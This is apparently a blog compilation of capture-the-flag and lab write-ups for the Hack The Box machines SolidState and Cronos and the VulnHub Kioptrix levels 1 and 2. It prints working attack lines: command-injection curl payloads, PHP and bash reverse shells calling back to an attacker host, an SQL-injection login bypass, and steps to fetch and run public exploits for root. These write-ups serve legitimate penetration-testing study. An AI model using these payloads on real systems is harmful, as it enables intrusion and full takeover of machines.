Password for john reset
setpassword mindy Passw0rd
Password for mindy reset
setpassword mailadmin Passw0rd
Password for mailadmin reset

Now we will telnet to port 110 (POP3) and try to login and retrieve any mail in these accounts. For more information on using telnet with POP3 see this. As we go through the accounts one by one we find the first interesting tidbit in john’s emails.

root@kali:~# telnet 110
 Connected to
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER john
 PASS Passw0rd
 +OK Welcome john
 +OK 1 743
 +OK Message follows
 Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: john@localhost
 Received: from ([])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 From: mailadmin@localhost
 Subject: New Hires access
 Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
 Thank you in advance.

It looks like John is supposed to send Mindy credentials so we’ll skip directly to her account and see if we can find them in her emails.

root@kali:~# telnet 110
 Connected to
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
 USER mindy
 PASS Passw0rd
 +OK Welcome mindy
 +OK 2 1945
 retr 1
 +OK Message follows
 Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from ([])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
           for ;
           Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Welcome
 Dear Mindy,
 Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
 We are looking forward to you joining our team and your success at Solid State Security.
 retr 2
 +OK Message follows
 Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from ([])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Your Access
 Dear Mindy,
 Here are your ssh credentials to access the system. Remember to reset your password after your first login.
 Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
 username: mindy
 pass: P@55W0rd1!2@

Bingo! We have Mindy’s SSH credentials which we should be able to use to sign on. As soon as we sign on, it triggers the payload from our earlier exploit and we get a reverse shell on port 9999. As suggested by the emails we read, Mindy’s account appears to be running in a restricted shell so we are limited from doing much of anything when signing in via SSH. Fortunately, our reverse shell that was sent to us via the James exploit is not restricted and we can proceed with enumerating the box and looking for a way to escalate.

Logging into Mindy’s account via SSH
Unrestricted Reverse Shell Running Under Mindy’s Account

We can now run our standard privilege escalation checking scripts like We navigate to the folder where our scripts are located on Kali and then fire up the Python simple HTTP server with: python -m SimpleHTTPServer 80 and then download it on the target box with wget. Once we have LinEnum on our target box we want to launch it with the thorough checks enabled: ./ -t . Reading through the output there is an interesting python script that is owned by root but we have access to modify it.

Looking at the contents of the python script it appears to be something that root may be running on a regular basis to cleanup the /tmp folder structure.

cat /opt/
#!/usr/bin/env python
import os
import sys
     os.system('rm -r /tmp/* ')

We will overwrite the script with a python reverse shell script and then setup the netcat listener and wait…

import socket
import subprocess
import os


A few minutes later we are rewarded with a root shell!!!

Lessons Learned

  • Take the time to really read & understand exploit code to see what it does and what dependencies & requirements it has
  • Make sure to run LinEnum with thorough checks enabled (-t) so that it will pickup interesting items like the /opt/ script in this case.

Links & Resources

HTB – Cronos

Cronos (

After running our port scans we find three open ports. The box is running SSH, a DNS server, and a webserver.

root@kali:~# nmap -sSVC -p-

 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey:
 |   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
 |   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
 |_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
 53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
 | dns-nsid:
 |_  bind.version: 9.10.3-P4-Ubuntu
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 |_http-server-header: Apache/2.4.18 (Ubuntu)
 |_http-title: Apache2 Ubuntu Default Page: It works
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we have a list of open ports and what services each one is running we need to enumerate each one further and determine which one is going to be our initial way in. SSH is probably not going to be our initial way in unless we discover credentials while enumerating another service. A quick search using searchsploit reveals there is a vulnerability in OpenSSH 7.2p2 that would allow for checking whether a particular username exists. We will keep this in mind in case it becomes useful later.

Port 80 (HTTP) is usually interesting and often opens a number of opportunities for further enumeration. Let’s first navigate to the web page in a browser. We are greeted with an Apache default page.

Since we only get a default page when browsing to the page using the machine’s IP address, we may want to consider that there could be virtual host routing in play. If we edit our /etc/hosts file to add the machine’s name cronos.htb and then revisit the page we now get a different page:

Taking a look at the links on this page they are all linking off the site and are out of scope. It appears the site is running Laravel a PHP web framework. Taking a look at the source for the page as well as browsing to http://cronos.htb/robots.txt doesn’t yield anything particularly interesting. We will want to do further vulnerability research on Laravel and try to find the version running and see if there is anything we can exploit. In the meantime, let’s kick off nikto and gobuster.

root@kali:~# gobuster dir -u http://cronos.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large
 Gobuster v3.0.1
 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
 [+] Url:            http://cronos.htb
 [+] Threads:        10
 [+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
 [+] Status codes:   200,204,301,302,307,401,403
 [+] User Agent:     gobuster/3.0.1
 [+] Timeout:        10s
 2019/12/25 13:14:41 Starting gobuster
 /js (Status: 301)
 /css (Status: 301)
 /server-status (Status: 403)
root@kali:~/hackthebox/cronos- nikto -h cronos.htb
 - Nikto v2.1.6
 Target IP:
 Target Hostname:    cronos.htb
 Target Port:        80 
 + Start Time:         2019-12-25 13:15:02 (GMT-5)
 Server: Apache/2.4.18 (Ubuntu)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 Cookie XSRF-TOKEN created without the httponly flag
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Allowed HTTP Methods: GET, HEAD 
 OSVDB-3092: /web.config: ASP config file is accessible.
 OSVDB-3268: /css/: Directory indexing found.
 OSVDB-3092: /css/: This might be interesting…
 OSVDB-3233: /icons/README: Apache default file found.
 7785 requests: 0 error(s) and 10 item(s) reported on remote host 
 + End Time:           2019-12-25 13:20:45 (GMT-5) (343 seconds)
 1 host(s) tested 

Since we’re not seeing anything jump out at us right away, now would be a good time to take a step back and review the other services we haven’t enumerated yet. Let’s explore DNS and see if we can do a zone transfer for the cronos.htb domain.

root@kali:~# host -l cronos.htb
 Using domain server:
 cronos.htb name server ns1.cronos.htb.
 cronos.htb has address
 admin.cronos.htb has address
 ns1.cronos.htb has address
 www.cronos.htb has address

This yields several additional host names we should add to our /etc/hosts file and check out. It turns out that http://ns1.cronos.htb takes us to the default Apache page and http://www.cronos.htb takes us to the same page as just http://cronos.htb so those aren’t anything new. However, when we go to http://admin.cronos.htb we are greeted with a login page!

After trying some common default usernames and passwords we don’t get in. Let’s try running gobuster against admin.cronos.htb. We will use a different dictionary (one from dirbuster) and also let’s specify some specific extensions to try: ext, php, txt, bak.

root@kali:~# gobuster dir -x txt,bak,ext,php -u http://admin.cronos.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 
 /index.php (Status: 200)
 /welcome.php (Status: 302)
 /logout.php (Status: 302)
 /config.php (Status: 200)
 /session.php (Status: 302)
 /server-status (Status: 403)

We’ve discovered some new interesting pages! Let’s fire up Burp Suite and manually poke around at these pages. When we navigate to http://admin.cronos.htb/welcome.php it immediately redirects us to http://admin.cronos.htb/index.php and the familiar login page. However, we notice something interesting when we examine the request in Burp.

Even without logging in we are able to see the page is some sort of tool that allows you to run traceroute or ping. This suggests that we may want to look for a command injection vulnerability. We can use curl to send a HTTP POST request passing the command & host parameters and see if we can add a semicolon followed by a command of our own. We will start up a netcat listener on our Kali box and see if we can trigger a connection to our machine as follows:

curl -d "command=traceroute&host=;nc 8888" http://admin.cronos.htb/welcome.php

It worked! We were able to trigger a command injection vulnerability and get it to connect back to our machine. Now we will grab the PHP reverse shell from here: and attempt to get a shell on the box. We edit the reverse shell to use the IP address of our Kali box and port 8888. We then use to urlencode it. After setting up the listener we issue our curl command as follows to get a reverse shell.

curl -d "command=traceroute&host=;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.14.4%22%2C8888%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27" http://admin.cronos.htb/welcome.php

Now we have a reverse shell running under the context of the the www-data account. We can use wget to transfer over the script and then run it to attempt to identify avenues for privilege escalation. After running the script and examining the output we find an interesting cron job running under the root account.

[-] Crontab contents:                                                                                     
 /etc/crontab: system-wide crontab
 Unlike any other crontab you don't have to run the `crontab'
 command to install the new version when you edit this file
 and files in /etc/cron.d. These files also have username fields,
 that none of the other crontabs do.
 m h dom mon dow user  command
 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )                                                                                                           
 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )                                                                                                          
 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )                                                                                                         
 * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 

If we examine the /var/www/laravel/artisan file we see that we own it and can modify it! We can either replace or append php code to this file to trigger a root shell.

www-data@cronos:/$ ls -lh /var/www/laravel/artisan
  -rwxr-xr-x 1 www-data www-data 1.7K Apr  9  2017 /var/www/laravel/artisan

We will replace the file with a simple one line PHP script to send us a reverse shell on port 9999 as shown below. Afterwards, we setup a netcat listener and wait for our root shell to arrive.

echo '<?php $sock=fsockopen("",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' /var/www/laravel/artisan 

Within a minute the cron job runs and we do our r00t dance 🙂

Kioptrix Level 1.1 (#2)

Kioptrix Level 1.1 (#2)

Find this VM on Vulnhub here.

Recon, Scanning & Enumeration

After determining the IP of the virtual machine ( in this case), we start with a quick Nmap scan of the top 1,000 ports. In a little over a second and a half we have a listing of 6 open ports. We see the target is running a web server and since port 3306 is also open it suggests there may be a web app talking to a MySQL database.

root@linux:~# nmap --top-ports 1000
Starting Nmap 7.60 ( ) at 2019-01-01 03:57 UTC
Nmap scan report for
Host is up (0.000023s latency).
Not shown: 994 closed ports
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
631/tcp open ipp
3306/tcp open mysql
MAC Address: 00:0C:29:FD:D6:14 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Let’s run another scan targeting these open ports and enabling service and version detection. (We can run a full port scan later to discover any additional ports we missed–e.g., nmap -sVC -p-

root@linux:~# nmap -sV -p 22,80,111,443,631,3306
Starting Nmap 7.60 ( ) at 2019-01-01 04:40 UTC
Nmap scan report for
Host is up (-0.090s latency).
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)

Let’s look into the web server and any web apps first. Port 631 (CUPS 1.1) could also be of interest and we can revisit this later if needed. We start out by grabbing the headers:

root@linux:~# curl --head
HTTP/1.1 200 OK
Date: Tue, 01 Jan 2019 02:46:12 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Connection: close
Content-Type: text/html; charset=UTF-8

We could start running searchsploit searches on these versions of Apache and PHP, but first let’s browse to the actual page and see what we see.

After trying a few combinations we can see that we don’t get an error message for invalid attempts. Our previous discovering of MySQL running on the machine gives us a clue that we may want to attempt SQL injection to see if we can bypass the login prompt. By entering ‘ or 1=1 — in both the Username and Password field we are able to bypass the login prompt. For more on SQL injection (SQLi) check out this article.

SQL injection

A simple web app to ping machines

After getting past the authentication we are presented with a simple web application that appears to run the ping command against a target of our choosing. We test this out using the Loopback address (

Pinging localhost

After entering into the text field and clicking the submit button we are taken to the page shown above with the results from our ping command. Since this simple web app appears to be taking whatever we enter in the textbox and calling the ping command against it we want to check if command injection is possible. By adding a semicolon to the end of the IP address entered we can see if a command gets executed after running the ping command:

Attempting command injection
Successful command injection!

Success! After the normal output from pinging we see the output from running the id command. We can leverage this command injection vulnerability to get an interactive shell. We’ll setup a netcat listener on our attack machine listening on port 4444 (nc -nlvp 4444) and then execute a bash reverse shell using command injection on the web app (bash -i >& /dev/tcp/[insert attacker IP]/4444 0>&1).

Setup listener and prepare reverse shell

And there we go. We now have an interactive shell on our target machine running under the context of the apache user account. We quickly upgrade our shell to a full TTY using python.

Now, we need to find a way to escalate our privileges and get root. Let’s get some system information and see what kernel is running on the box.

bash-3.00$ uname -a
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Using searchsploit or Exploit-DB we identify a local privilege escalation vulnerability affecting the Linux kernel running on this machine.

We can host the exploit code on our attack machine and then start a simple HTTP server and pull the file down on the target machine using wget. On the attack machine we run: python -m SimpleHTTPServer 80 in the directory where the exploit code is located. From our shell on the target machine we can then pull it down with wget http://[Attacker IP]/9542.c. After quickly compiling the exploit and running it we are greeted with a root shell!


Kioptrix Level #1

Kioptrix Level #1

You can find these challenges on VulnHub and here.

Recon, Scanning & Enumeration

After identifying the IP address of the virtual machine, we begin with a quick nmap scan of the top 1,000 ports to get a quick idea of what may be running on the host. By scanning just these 1,000 ports we should be over 90% effective in identifying common open ports (Reference: Optimizing Nmap Performance). We can start exploring these initial findings as we wait for a more thorough scan to complete.

 root@linux:~# nmap --top-ports 1000 

Starting Nmap 7.60 ( ) at 2018-12-25 16:14 UTC
Nmap scan report for
Host is up (0.000033s latency).
Not shown: 994 closed ports
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm

Before exploring these six open ports, let’s kick off a thorough scan with:

root@linux:~# nmap -sSVC -p- -oA kioptrix1

Now, on to the ports we already know about. First, let’s take a look at ports 80 & 443. We can use curl to quickly grab the headers:

root@linux:~# curl --head
HTTP/1.1 200 OK
Date: Tue, 25 Dec 2018 18:49:37 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

root@linux:~# curl --head
HTTP/1.1 400 Bad Request
Date: Tue, 25 Dec 2018 18:49:43 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Connection: close
Content-Type: text/html; charset=iso-8859-1

We notice that it is running an old version of the Apache web server with mod_ssl 2.8.4. Now, let’s quickly navigate to the page in our browser and see what is being hosted. Looks like the default Apache test page. At this point we could run a tool like dirb to see if we can find any hidden files, directories, or possibly other web apps that could be running on the server.

Default Apache Test Page

Instead, let’s first try scanning the site with nikto. We can scan both port 80 & 443 using the following syntax:

root@linux:~# nikto -h -p 80,443

Looking through the output the following line grabs our attention:

 mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. 


Since this vulnerability gives us some hope of obtaining a remote shell and our full Nmap scan did not yield additional open ports, let’s look into this and see if we can find a usable exploit. On Kali linux we can use the searchsploit utility to find a relevant exploit. Alternatively we can browse to the Exploit Database and run a search on mod_ssl.

Let’s try the exploit with EDB-ID #764. We can either download the exploit code from the website or on Kali linux we can use the searchsploit utility to create a mirror copy of the exploit code in the current directory with:

root@kali:~# searchsploit -m 764

Attempting to compile the exploit results in a number of errors.

Errors compiling 764.c

We can run some Google searches for potential solutions to these errors. Following the suggestions here the exploit can be updated so that it compiles successfully. As a shortcut to manually making the changes to the code, you can download the patch file to easily make the change. Patch the original code and compile as follows:

root@kali:~# patch 764.c -i 764-patch.txt -o 764-fixed.c
root@kali:~# gcc -o 764 764-fixed.c -lcrypto

Running the exploit with no options we can review the usage instructions and see a long list of potential offsets depending on the OS and version of Apache that is being run. We run the exploit with no options again and grep for the Apache version we found earlier:

root@linux:~# ./764 | grep "apache-1.3.20"
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 - SuSE Linux 7.3 (apache-1.3.20)

Finding the right offset and number of connections may take some effort. If at first it doesn’t work try it again. Running the following did the trick and resulted in a root shell:

root@linux:~# ./764 0x6b 443 -c 40-50
R00t Shell!